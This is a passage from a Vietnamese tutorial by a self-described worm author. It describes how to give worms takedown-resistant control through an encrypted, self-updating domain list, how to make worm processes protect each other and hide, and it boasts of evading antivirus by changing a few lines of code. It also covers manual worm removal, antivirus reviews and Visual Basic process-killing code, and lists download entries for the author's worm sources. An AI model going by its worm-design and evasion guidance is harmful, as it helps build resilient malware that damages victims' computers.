<span class='text_page_counter'>(12)</span><div class='page_container' data-page=12>

Nếu bạn nghĩ chỉ việc tạo nhiều tên miền dự phịng cũng hồn toàn sai, tất cả chúng lần lượt sẽ bị “Hành


quyết”. Như vậy cách duy nhất là không hề mặc định cho worm về tên miền nào trước đó cả và chúng sẽ tự biết
cách thay đổi danh sách tên miền này từ những dữ liệu từ một Domain nào đó trong danh sách nào đó.


Đây chính là kỹ tḥt lập trình “Sâu bọ” mà Dũng cịi tốn nhiều thời gian nhất và cũng đáng để tự hào nhất. Mợt
kỹ tḥt lập trình địi hỏi cả kỹ năng lập trình net và chủ yếu là khả năng lập trình xử lý file.


Các thao tác của kỹ thuật :



1. Ngay sau khi biên dịch, tiến hành chèn một List (Danh sách) tên miền điều khiển
2. Thiết lập các file dữ liệu điều khiển worm từ trên các tên miền kia


3. Sau khi lây lan các worm sẽ đều đặng kiểm tra sự tồn tại của từng tên miền trong List tên miền của mình
đang có (Kiểm tra qua thao tác Download file)


4. Tại mợt tên miền vẫn cịn tồn tại thì sử dụng tên miền đó làm tên miền để tải file
5. Tải tồn bợ các file dữ liệu lệnh (Gồm 1 file chứa List tên miền luôn được cập nhật)


6. Trích xuất List tên miền bằng thao tác phân tích chính worm (Mợt List tên miền được “Chèn” sẵn trong
worm)


7. So sánh List tên miền vừa down về được với List của nó (Chứa trong worm)
8. Nếu 2 List này có sự khác biệt sẽ tự động quá trình thay thế List cũ bằng list mới


9. Tự đợng kích hoạt file mới được tạo (Bản thân worm worm đó và được chèn vào đó là List tên miền mới)
<b>Chú ý : Tồn bợ các thơng tin trong List tên miền đều được mã hóa.</b>


Okie, một worm tuyệt vời. Nhưng kỹ thuật này rất khó thực hiện và rõ ràng với cách trình bày của Dũng cịi thì
cũng rất khó hiểu. Thôi hãy xem một source một worm mà Dũng còi đã từng sử dụng kỹ thuật này vậy (Đó là
worm vbvn)


...


<b>Lưu ý : Kỹ thuật này rất thích hợp để chơi trị “Mèo vờn cḥt” với mấy bác an ninh mạng (Các worm bình </b>
thường như Gái Xinh thì mất tên miền là mất tất cả, cịn với kỹ tḥt này thì mất 1 thậm chí cả trăm tên miền
nhưng nếu chúng ta online đều đặng thì rất khó mất quyền điều khiển trừ khi List tên miền của chúng ta bị mấy
bác an ninh mạng giải mã thành công). Tuy nhiên, với “Trị chơi” như vậy thì nếu bị tóm cổ thì mấy bác ấy sẽ
không “Nương tay” cho các bạn đâu. Thận trọng nhé.



<b>h. Kỹ thuật tự bảo vệ :</b>


Hầu hết các worm hiện nay đang lây lan tại Việt Nam đều gần như khơng có sự phịng thủ. Việc này là rất tệ với
các Vxer. Vì vậy mợt ngun tắc bảo vệ là cần thiết


Có một số cách tự bảo vệ như sau :


- Ẩn process (Khó có thể bị kill nếu không sài tới các soft chuyên nghiệp)


- Kỹ thuật tạo các process tự bảo vệ lẫn nhau (Đã sử dụng trong worm DungCoi và cải tiến lớn tại RealWorm)
Kỹ thuật này không quá phức tạp, bạn có thể tham khảo source VBVN để xem khả năng ẩn trong process (Kể
cả WinXP), và xem Source RealWorm (Bkis đặt tên nó là w32.DakNong....Worm) để xem khả năng tự bảo vệ.

<b>IV. Tiêu diệt :</b>



Viết Virus, đó rõ ràng chỉ là thú vui (Ít nhất thì điều đó cũng đúng với Dũng còi). Và tất nhiên, khi đã là “Thú
vui” rùi thì Dũng khơng hề muốn phát tán (Trong 4 worm Dũng từng viết thì chỉ có duy nhất 1 con vơ tình bị
lây lan ra ngồi). Dù việc viết worm là xấu, nhưng rõ ràng nhờ nghiên cứu nó mà Dũng còi đã có thêm những
kiến thức về hệ thống, và nhất là về virus và AV. Việc này khiến Dũng cịi tự tạo cho mình mợt liều “Vắc xin”
để phịng ngừa Virus.


Trong phần này, Dũng còi sẽ chỉ ra các cách tiêu diệt các loại worm thông thường (Và một số loại đặc biệt)
<b>1. Dùng phần mềm trung gian :</b>


Các phần mềm AV thì không cần phải nói, tuy nhiên với rất nhiều virus mà các AV chưa cập nhật thì chúng ta
chỉ cịn đường diệt thủ cơng mà thơi. Okie, cùng diệt chúng nhá.


</div>
<span class='text_page_counter'>(13)</span><div class='page_container' data-page=13>

<b>Process Explorer : Đây là một phần mềm chuyên nghiệp dùng để theo dõi các chương trình đang hoạt đợng</b>
trong hệ thống.


<b>Autoruns : Đây là chương trình quản lý tất cả các chương trình tự đợng được khởi đợng khi khởi đợng máy</b>


tính.


Cả 2 chương trình trên đều có thể tải về miễn phí tại địa chỉ :


<b>a. Nhận dạng :</b>


<b>a.1. Chương trình đang hoạt động :</b>


Bạn có thể sử dụng Process Explorer để xem các chương trình
đang khởi đợng trong hệ thống.


Dựa theo kinh nghiệm và với đường dẫn do chương trình
ProcessXP xác định bạn có thể dễ dàng nhận ra có hay không sự
tồn tại của virus trong hệ thống.


<b>a.2. Key khởi động :</b>


Hầu như tất cả virus đều tự tạo Key khởi đợng riêng cho mình để
được hệ điều hành mở khi vừa khởi đợng máy vì vậy đây cũng là
mợt phương pháp rất hiệu quả.


Mợt virus điển hình là mợt chương trình đang hoạt đợng trong hệ
thống và có key khởi động cùng hệ điều hành (Hãy thận trọng trước khi “Phán qút” mợt chường trình nào đó


có phải virus hay không)
<b>b. Dọn dẹp :</b>


Bạn đừng nghĩ rằng bạn ngắt ngay chương trình đó và xóa key của
nó tạo trong regedit đã là xong việc, bởi vì các virus thường để lại
rất nhiều “Tàn tích” trên máy tính của bạn, vì vậy nếu chỉ thực


hiện các thao tác trên thì chưa đủ.


<b>b.1. Xác định “Tàn tích” :</b>


Chúng ta sẽ dùng Process Explorer để xác định các chuỗi trong file
virus (Đây cũng chính là nguyên tắc mà các phần mềm chống
Virus xác định để chống virus).


Thao tác như sau : Trong Process Explorer bấm cḥt phải vào tiến
trình (Proscess) của virus. Sau đó chọn Properties... sau đó ấn
chọn Strings.


Một loạt chuỗi xuất hiện. Sau đó bạn hãy ngồi tìm những chuỗi như có dạng mợt đường
dẫn rồi ghi lại chúng. Đó chính là những địa chỉ của tàn tích.


<b>b.2. Dọn dẹp :</b>


Với các virus thơng bạn chỉ cần dùng Process Explorer để kết thúc sự làm việc của
virus (Bấm chuột phải rồi chọn Kill Process). Sau đó bạn dùng Autoruns để xóa các
key khởi động virus đó trong regedit (Bấm chuột phải chọn Delete). Cuối cùng bạn tìm
đến địa chỉ của các “Tàn tích” để xóa bỏ chúng (Hãy thận trọng bởi có thể đó là một file
quan trọng của hệ thống)


Với các trên bạn đã có thể tự tay mình tiêu diệt được khoảng 85% các loại virus cịn với
mợt số loại virus có mợt số chế đợ “Phịng thủ” rất cao cấp thì vào phần sau Dũng còi
sẽ đề cập.


<b>2. Lựa chọn phần mềm chống virus (Antivirus =AV) :</b>


Có rất nhiều phần mềm chống virus, tuy nhiên do cấu hình máy khá là tệ nên Dũng còi


chỉ mới dám test các phần mềm sau : Bkav, AVG, McAfee, Kaspersky. Và cuối cùng Dũng cịi đã tìm thấy mợt
phần mềm tut vời (Tuy nhiên để khách quan Dũng cịi sẽ phân tích từng thằng trong số này).


</div>
<span class='text_page_counter'>(14)</span><div class='page_container' data-page=14>

Tính năng diệt virus thì khơng cần nói (AV mà khơng diệt Virus thì dẹp), tuy nhiên khả năng tự động cảnh báo
các hành vi thông thường của Virus là không hề có. Chưa kể ơng Bkav cịn diệt khơng nổi mợt số loại virus khi
đã nhận ra được chúng.


Thậm chí hơm trước khi biết mấy con worm mình viết đã được mấy ơng Bkis cập nhật và Bkav thì Dũng cịi tải
về “Coi cho vui”, thì té ngửa vì chỉ cần thay đổi mợt vài dịng code trong cái source con worm đó (Đã được cập
nhật) là làm Bkav pó tay (Mịa cha ưi, nếu như Dũng còi muốn chọc giận Bkis thì chỉ trong mợt ngày Dũng cịi
phải bắt mấy ổng cập nhật vài chục biến thể quá => Pó tay luôn).


Tuy nhiên cũng phải công nhận, Bkav là phần mềm chống Virus duy nhất thường cập nhật mấy con virus Made
In Việt Nam mà đôi lúc các phần mềm lớn khác không hề cập nhật (Tuy nhiên, tính năng tự đợng bảo vệ của
các AV mạnh thông thường là dư sức tiêu diệt mấy loại worm này).


<b>AVG : Tính năng tìm và diệt virus rất tốt. Tuy nhiên tính năng tự đợng cảnh báo các hành vi “Bất chính” hầu </b>
như khơng có. Giao diện rối rắm, khá khó sài. Tuy nhiên với nhu cầu “Quét” bình thường thì ok.


<b>McAfee : Khá là ngốn RAM hệ thống, tính năng diệt tốt, có nhiều tùy chọn nâng cao, giao diện dễ sài. Tuy </b>
nhiên tính năng tự đợng nhận diện vẫn có nhưng khơng làm việc tốt lắm (Có rất ít thao tác nguy hiểm bị nhận ra
và cảnh báo).


Như vậy rõ ràng với người dùng bình thường thì sài cái này là “Ổn”
<b>Kaspersky :</b>


Phần mềm AV tốt nhất mà Dũng còi đã dùng (Trong các phần mềm được liệt kê)
Chạy ít chiếm dung lượng bộ nhớ, công cụ diệt tốt, giao diện dễ sài.


Tính năng tự đợng cảnh báo làm việc rất xuất sắc Cảnh báo cực kỳ hiệu quả :


- Cảnh báo thao tác ghi key khởi động


- Cảnh báo dấu hiệu tự động Copy file hay chỉnh sửa file (Với các file thực thi)
- Cảnh báo việc tự động cài Driver vào hệ thống.


- Cảnh báo việc mở một URL thông qua trình duyệt web bởi mợt chương trình nào đó


- Cảnh báo việc Hook, hay Inject vào các process hệ thống (Rất tốt để chống KeyLog cấp thấp và một số thao
tác nguy hiểm khác)


... rất nhiều tính năng khác


Tuy nhiên, chính vì q “Tốt” nên đơi lúc làm người dùng khó chịu (Qúa nhiều cảnh báo), và đòi hỏi người
dùng phải có những hiểu biết kha khá về PC thì sử dụng mới đạt hết hiệu quả.


Mợt số cảnh báo “Thừa” thường gặp (Bản thân Dũng còi gặp) :
- Cảnh báo viêc đọc file của Explorer.exe


- Các chương trình load mợt chương trình nào đó (Đơi lúc gây thừa).
- Cảnh báo với các tập tin xem Flash (Thao tác đọc và ghi file).


- Tương tự như thao tác xem tập tin Flash (Định dạng exe) thì mợt số chương trình cài đặt cố gắng trích xuất ra
các file riêng cũng bị cảnh báo (Rất khó chịu)


- Tính năng Trusted Modules rất hay để xác định các chương trình “Lương thiện” (Do người dùng tự chọn),
nhưng vẫn gây nhiều khó chịu (Anh Kav này kỹ tính quá)


.... nhiều lắm


Cần nói thêm là khi sài thằng này thì cịn có rất nhiều điều thú vị (Như đơi lúc có thể coi cả quá trình làm việc


của một tập tin nào đó, việc này cực kỳ hiệu quả để tiến hành Crack).


Thông tin cảnh báo được đưa ra rất chi tiết và cụ thể, ngoài ra phần History cực kỳ cần thiết để xác định worm
và các thơng tin để dễ tiêu diệt chúng (Tính năng tuyệt vời).


<b>3. Dùng code trị code :</b>


</div>
<span class='text_page_counter'>(15)</span><div class='page_container' data-page=15>

Việc dùng các phần mềm chống Virus thông thường chưa chắc đã diệt loại virus như vậy (Loại worm này cùng
lúc tạo ra nhiều process để bảo vệ cho nhau). Vậy thì chúng ta tự làm vậy :


<b>a. Kill process :</b>


Về cơ bản, việc Kill process có nhiều cách tuy nhiên nhiên rõ ràng, việc Kill process chỉ dựa vào tên là quá
nguy hiểm (Ví dụ như 1 worm nào đó hoạt động trong với tên process là <i>explorer.exe</i> thì chắc chắn nếu bạn
dùng cách kill này sẽ diệt luôn cái<i> explorer.exe</i> “Lành”). Không biết các bạn có cách nào, tuy nhiên Dũng còi sẽ
sử dụng cách Kill thông qua chỉ số ID của mỗi Process sau khi xác định chính xác Path của chúng.


Các thao tác công việc :


1. Liệt kê Process đang hoạt động trong hệ thống đồng thời lấy thông số ID của chúng (Mỗi Process có duy nhất
1 ID và chỉ số này là duy nhất)


2. Liệt kê Path (Đường dẫn) tương ứng của mỗi Process


3. Thực hiện quá trình so sánh đường dẫn với process đã liệt kê, nếu đúng sẽ kill chúng theo chỉ số ID (Đã được
liệt kê ở trên)


<b>Code :</b>


‘Đây mới chỉ là thao tác Kill các process thông thường thui nha


Public Declare Function CreateToolhelpSnapshot Lib "kernel32" _
Alias "CreateToolhelp32Snapshot" ( _


ByVal lFlags As Long, _


ByVal lProcessID As Long) As Long


Public Declare Function ProcessFirst Lib "kernel32" _
Alias "Process32First" ( _


ByVal hSnapShot As Long, _


uProcess As PROCESSENTRY32) As Long
Public Declare Function ProcessNext Lib "kernel32" _
Alias "Process32Next" ( _


ByVal hSnapShot As Long, _


uProcess As PROCESSENTRY32) As Long


Public Declare Function TerminateProcess Lib "kernel32" ( _
ByVal hProcess As Long, _


ByVal uExitCode As Long) As Long


Public Declare Function OpenProcess Lib "kernel32" ( _
ByVal dwDesiredAccess As Long, _


ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long



Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Const TH32CS_SNAPPROCESS = &H2


Public Const TH32CS_SNAPheaplist = &H1
Public Const TH32CS_SNAPthread = &H4
Public Const TH32CS_SNAPmodule = &H8


Public Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + _
TH32CS_SNAPmodule


Private Declare Function EnumProcessModules Lib "psapi.dll" ( _
ByVal hProcess As Long, _


ByRef lphModule As Long, _
ByVal cb As Long, _


ByRef cbNeeded As Long) As Long


Private Declare Function GetModuleFileNameExA Lib "psapi.dll" ( _
ByVal hProcess As Long, _


</div>
<span class='text_page_counter'>(16)</span><div class='page_container' data-page=16>

Public Const MAX_PATH As Integer = 260
Public Type PROCESSENTRY32


dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long


cntThreads As Long


th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long


szExeFile As String * MAX_PATH
End Type


Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const PROCESS_VM_READ = &H10


Function ProcessPathByPID(pid As Long) As String
‘Lấy đường dẫn thông qua chỉ số ID


'Return path to the executable from PID


' />Dim cbNeeded As Long


Dim Modules(1 To 200) As Long
Dim Ret As Long


Dim ModuleName As String
Dim nSize As Long


Dim hProcess As Long


hProcess = OpenProcess(PROCESS_QUERY_INFORMATION _
Or PROCESS_VM_READ, 0, pid)





If hProcess <> 0 Then


Ret = EnumProcessModules(hProcess, Modules(1), _
200, cbNeeded)




If Ret <> 0 Then


ModuleName = Space(MAX_PATH)
nSize = 500


Ret = GetModuleFileNameExA(hProcess, _
Modules(1), ModuleName, nSize)


ProcessPathByPID = Left(ModuleName, Ret)
End If


End If


Ret = CloseHandle(hProcess)
If ProcessPathByPID = "" Then
ProcessPathByPID = "SYSTEM"
End If


End Function



Public Sub KillID(p_lngProcessId As Long)
‘Kill process qua chỉ số ID


Dim lnghProcess As Long
Dim lngReturn As Long


</div>
<span class='text_page_counter'>(17)</span><div class='page_container' data-page=17>

lngReturn = TerminateProcess(lnghProcess, 0&)
End Sub


Public Sub LietKe()
‘Liệt kê process


Dim GiaTri As Boolean
Dim theloop As Long
Dim dd As Double


Dim proc As PROCESSENTRY32
Dim snap As Long


Dim exename As String
Dim id As Long




lst.Clear
lstID.Clear



snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0)
proc.dwSize = Len(proc)


theloop = ProcessFirst(snap, proc)
GiaTri = False


While theloop <> 0
id = proc.th32ProcessID


Msgbox ProcessPathByPID(proc.th32ProcessID) ‘Path của process
MsgBox proc.th32ProcessID ‘ID của process
theloop = ProcessNext(snap, proc)


Wend


CloseHandle snap
End Sub


Trên đây chỉ là đoạn code cơ bản, nếu bạn muốn tải ví dụ cụ thể (Trước đây Dũng cịi có viết mợt cái nho nhỏ
để tiện diệt mấy cái loại worm dạng này), bạn có thể tải ở địa chỉ sau :


...


<b>b. Một ứng dụng diệt worm. Tại sao không ?</b>


Khi một con worm lây lan quá mạnh, việc diệt thủ công với từng PC với quá nhiều thao tác rất khó chịu. Vì vậy
tại sao chúng ta không tự viết ra một soft chuyên trị chúng ? Rất đơn giản.


Bạn có thể coi source mẫu tại đây (Bạn nên sửa lại phần Process cho thích hợp)
...



<b>Các link download :</b>


<b>Made in Dũng cịi :</b>


<b>Source RealWorm</b> (Bkav cập nhật với tên W32.DakNong....Worm ) :


<b>Source VBVN</b> (Bkav cập nhật với các tên W32.vbvn....Worm)


<b>Source DungCoi</b> (Bkav cập nhật với các tên W32.YMDungCoi....Worm)


<b>Source AVS</b> (Công cụ Kill process hàng loạt) :


<b>Source Remove DungCoi</b> (Diệt worm DungCoi):
<b>Phần mềm khác :</b>


Địa chỉ tải ProcessXP và Autoruns :


<b>Những địa chỉ đáng lưu tâm khi nghiên cứu về virus :</b>


</div>
<span class='text_page_counter'>(18)</span><div class='page_container' data-page=18>

: Danh sách virus, phân tích virus


<b></b> : Forum rất lớn về các vấn đề bảo mật nói chung và virus nói riêng. (Về virus thì
forum này rất đáng quan tâm)


: Forum về bảo mật hàng đầu Việt Nam, có rất nhiều bài viết giá trị về virus.


: Một trong những forum về bảo mật hùng mạnh nhất (Trước đây khi cịn hoạt đợng với
tên miền VietHacker.org)



: Forum do Dũng cịi làm sếp (Hì hì), hiện nay do tình hình của “Sếp” khá bất ổn nên
forum tạm thời đóng cửa nhưng mong rằng Dũng cịi sẽ sớm “Lơi” nó dậy.


: Có lẽ đây là trang web hay nhất bằng Tiếng Việt để đọc định nghĩa về virus và các
kiến thức khác về virus (Rất hay đó)


: Trang web tiếng Việt, có rất nhiều bài viết hay về virus nói riêng và các vấn đề
khác của tin học nói riêng.


: Trang web hàng đầu thế giới về vấn đề RootKit - Một trong những kỹ thuật đáng sợ
nhất của virus (Do chưa đủ trình đợ nên Dũng cịi khơng dám đụng tới vấn đề này trong bài viết)


Ngồi ra trên Website của mợt số hãng chống virus thì đều có những phân tích và thơng tin rất đáng giá về các
loại virus.


<b>V. Lời kết :</b>


Dạo này, có nhiều bạn đã cơng khai chỉ trích những việc làm của Dũng còi (BomChat,Virus). Rõ ràng nếu bạn
thật sự là người quan tâm đến Dũng còi và quan sát từng bước đi của Dũng cịi trong việc lập trình các bạn sẽ
thấy rõ, từ con worm dcDakNong đến RealWorm (<i>dcDakNong -> DungCoi -> VBVN -> RealWorm</i>) là những
bước tiến của Dũng còi (Điều này thể hiện trong từng dự án và từng bài viết).


Tồn bợ 4 worm Dũng cịi từng viết thì Cịi chưa bao giờ muốn phát tán (Trường hợp worm DungCoi lây ra là
do mợt “Tai nạn”, cịn với RealWorm (Bkis đặt tên DakNong) là do có mợt số kẻ đã cố tính biên dịch dịng
worm này). Vì vậy đừng quy kết cho Dũng bất kỳ cái “Tội” nào cả.


Có thể nói gần như tồn bợ kiến thức lập trình của Dũng cịi hiện ra có là nhờ quá trình nghiên cứu virus (Kiến
thức về virus, Anti Virus, một số kỹ thuật lập trình 2, khả năng code) -> Dũng cịi viết mấy thứ này khơng ngồi
mục đích học tập mà thơi.



Nói như vậy, không tức là Dũng ủng hộ bất kỳ hành động viết virus nào. Dũng sẽ rất ủng hộ nếu bạn tự nghiên
cứu và viết một con virus riêng và tất nhiên không phát tán. Nếu ngược lại, tất ́u bạn sẽ tự nhận hậu quả của
mình.


<b>Thơng tin “Ngoài lề” :</b>


=============================================


Theo nguồn tin “Rất đáng tin cậy” thì cách đây hơn 3 tháng (1 tháng sau khi worm DungCoi “Xổng chuồng”)
thì C14 đã đến trường Dũng còi để “Nhắc nhở” với ban giám hiệu. Ngay sau đó Dũng còi bị gọi khẩn cấp
xuống gặp thầy hiệu phó để “Uống nước” (Thật ra ổng bắt đứng hơn nửa tiếng rùi thầy hiệu trưởng cho về).
Cũng trong những ngày này, thơng tin Dũng cịi bị đuổi học, liên tục xuất hiện (Nói thiệt hồi đầu Dũng cịi ứ tin
đâu).


Vài ngày hơm sau ban giám hiệu nhà trường họp lại, thầy hiệu phó kiên quyết cho Dũng “Về vườn”, cũng may
cũng trong lúc đó một số thầy cơ đưa ra ý kiến <i>“Nó học 12 năm rồi, cịn mấy tháng nữa mà đuổi thì tội lắm”.</i>


Nên sau đó nhà trường thống nhất không đả động đến vụ này nữa và “Tha mạng” cho Còi.


Đến cuối học kỳ, khi ban giám hiệu họp lại để thống nhất chuyện khen thưởng Dũng còi bi đẩy xuống hạnh
kiểm loại Khá (Từ lớp 1 đến giờ Dũng cịi ln có hạnh kiểm loại Tốt)


<b>Túm lại : Dù có hơi nhiều “Trục trặc” nhưng hiện nay Dũng còi vẫn </b><i><b>ăn no, ngủ kỹ, chơi hả hê</b></i> và chẳng có
vấn đề chi lớn chứ không như một số người cho rằng Cịi sẽ bị túm cổ bởi cơng an, khơng được vơ phịng máy
của trường...


=============================================


</div>
<span class='text_page_counter'>(19)</span><div class='page_container' data-page=19>

ấy thì mấy chú công an lại “Tha” cho Dũng ? Có lẽ Dũng còi “Ăn ở phúc đức”, hoặc có “Quái nhân phù trợ”
nên đã “Tai qua nạn khỏi” (Hì hì, chắc là vậy)



Nói cho vui vậy, nhưng Dũng cịi cũng nói cho biết trước, nếu viết virus rồi phát tán lung tung thì chuẩn bị vài
chục triệu để chuẩn bị đóng tiền phạt đi là vừa (Không có mấy người có cái “May” như Còi đâu)


<b>============================================</b>


Đáng lý bài viết đã kết thúc ở phần trên, tuy nhiên do gần đây mợt số người chỉ biết Cịi qua mợt vài Web nào
đó (Như 911) mà đã dám Send những cái Email với những nội dung đậm chất “Anh cả”, chỉ thấy một kiểu
“Dạy đời”. Thực tế mấy ổng khơng hiểu cái con khỉ chi về Cịi hết.


Nếu còn ai đó quy kết cho Dũng còi đủ cái tợi thì Ok. Xem tui chứng minh mệnh đề : Dũng cịi = Vơ tợi


1. Tại sao tui để tên các process của worm là dc.exe , sviq.exe và fun.exe. Nếu tui thực sự muốn phát tán thì như
vậy là quá “Lộ liễu”. Ok. Điều này chứng tỏ tui chỉ viết nó cho vui (Fun) chứ ko cần nó lây lan ra.


2. Trong khi con worm DungCoi bị lây lan ra và cái Host dungcoivb.googlepages.com vẫn còn nằm trong tay
của tui. Tại sao tui ko sử dụng khả năng lây qua Y!M để phát tán (Với vài dòng code bằng VBS và một thay đổi
từ Host là rất dễ dàng) mà lại để thông điệp “Canh bao, may tinh ban da nhiem worm DungCoi” (Điều này
có thể kiểm chứng bằng chính các nạn nhân của worm này). Ok, điều này chứng tỏ, tui không thèm đề nó lây
lan (Dù rằng với cách này thì số nạn nhân theo tăng lên nhanh).


3. Tại sao con worm tui tự hào, và tốn nhiều tâm huyết nhất của tui (Con vbvn) đã ko hề lây lan ra ngoài ?
Trong khi nếu thực sự tui muốn phát tán worm, thì vbvn mới chính là worm mạnh nhất của tui => Tui ko thèm
4. Nếu chỉ vì nổi tiếng thì có cần thiết tui phải công bố source của mấy con worm đó khơng ? Hay chỉ cần ra
ngồi tiệm net và kích hoạt chúng là đủ ? (Nếu bạn từng đọc source hay test worm bạn sẽ tự trả lời được). Các
bạn cũng nên nhớ là tất cả các worm đều được công bố source ngay sau khi tui viết, trước khi bị an ninh mạng
phát hiện hiện lâu sau đó.


5. Tại sao tui lại phải viết nhiều worm trong khi chỉ cần một worm như DungCoi là có chứ “Nổi” (Như một số
người nói) ?



Ok, tui viết worm là để tự mình thử sức mình. Mỗi worm là một lần thể hiện một kỹ thuật lập trình mà mình
vừa biết, đi theo đó chính là các bước tiến của chính tui trong việc lập trình.


6. Nếu chỉ muốn “Nổi” thì chỉ cần copy mợt source worm khác về rùi phát tán chứ có cần tui phải tự viết ?
7. Nếu RealWorm (Dòng worm Bkis cập nhật là DakNong) thực sư tui muốn phát tán thì tui có ngu đến mức để
dịng chữ DakNong trong mấy cái phần thông tin của Worm để rồi người dùng dễ dàng phát hiện không ?
Sau đây là bảng tóm tắt các mốc quan trọng (Chỉ nêu những điểm mới trong từng mốc)


<b>Worm dcDakNong : </b>
- Tự động cập nhật
- Lây qua Y!M


<b>Viết bài “Host và lập trình ứng dụng”</b>


<b>Worm DungCoi :</b>


- Áp dụng phương thức trong bài “Host và lập trình ứng dụng” điều khiển thơng điệp muốn lây lan qua Y!M.
- Lây lan qua USB


- Tự bảo vệ bằng cách tạo các process tự bảo vệ.
- Lây qua mạng LAN


<b>Viết bài “Tự viết ứng dụng bảo vệ dữ liệu căn bản”</b>


<b>Viết bài “ Ứng dụng di động. Khó khăn và hướng giải quyết”</b>


<b>Worm vbvn (Visual Basic Việt Nam) :</b>


- Áp dụng kiến thức từ 2 bài viết trên, trong đó quan trọng nhất là bài viết “ Ứng dụng di động. Khó khăn và



<b>hướng giải quyết” </b>để tạo khả năng bất tử quyền điều khiển


- Ẩn danh trong process


- Sử dụng Key Userinit để khởi động


</div>
<span class='text_page_counter'>(20)</span><div class='page_container' data-page=20>

<b>Worm RealWorm :</b>


- Hoàn thiện worm DungCoi


<b>Viết Safe Việt v1.0</b> để chống lại các loại worm viết trên AutoIT và các loại worm có kiểu bảo vệ như DungCoi
và RealWorm và các loại worm khác.


Ok, ABC từng bước đi từ Virus đến Anti Virus. Vậy giờ bạn nghĩ sao ?


16 trang cho tài liệu cuối cùng của Dũng còi ở cấp III. Qúa ngắn nhưng đó gần như là tất cả những gì mà Dũng
cịi đã học được trong gần 1 năm qua (Dũng còi ngu q phải khơng hì hì).


</div>

<!--links-->

×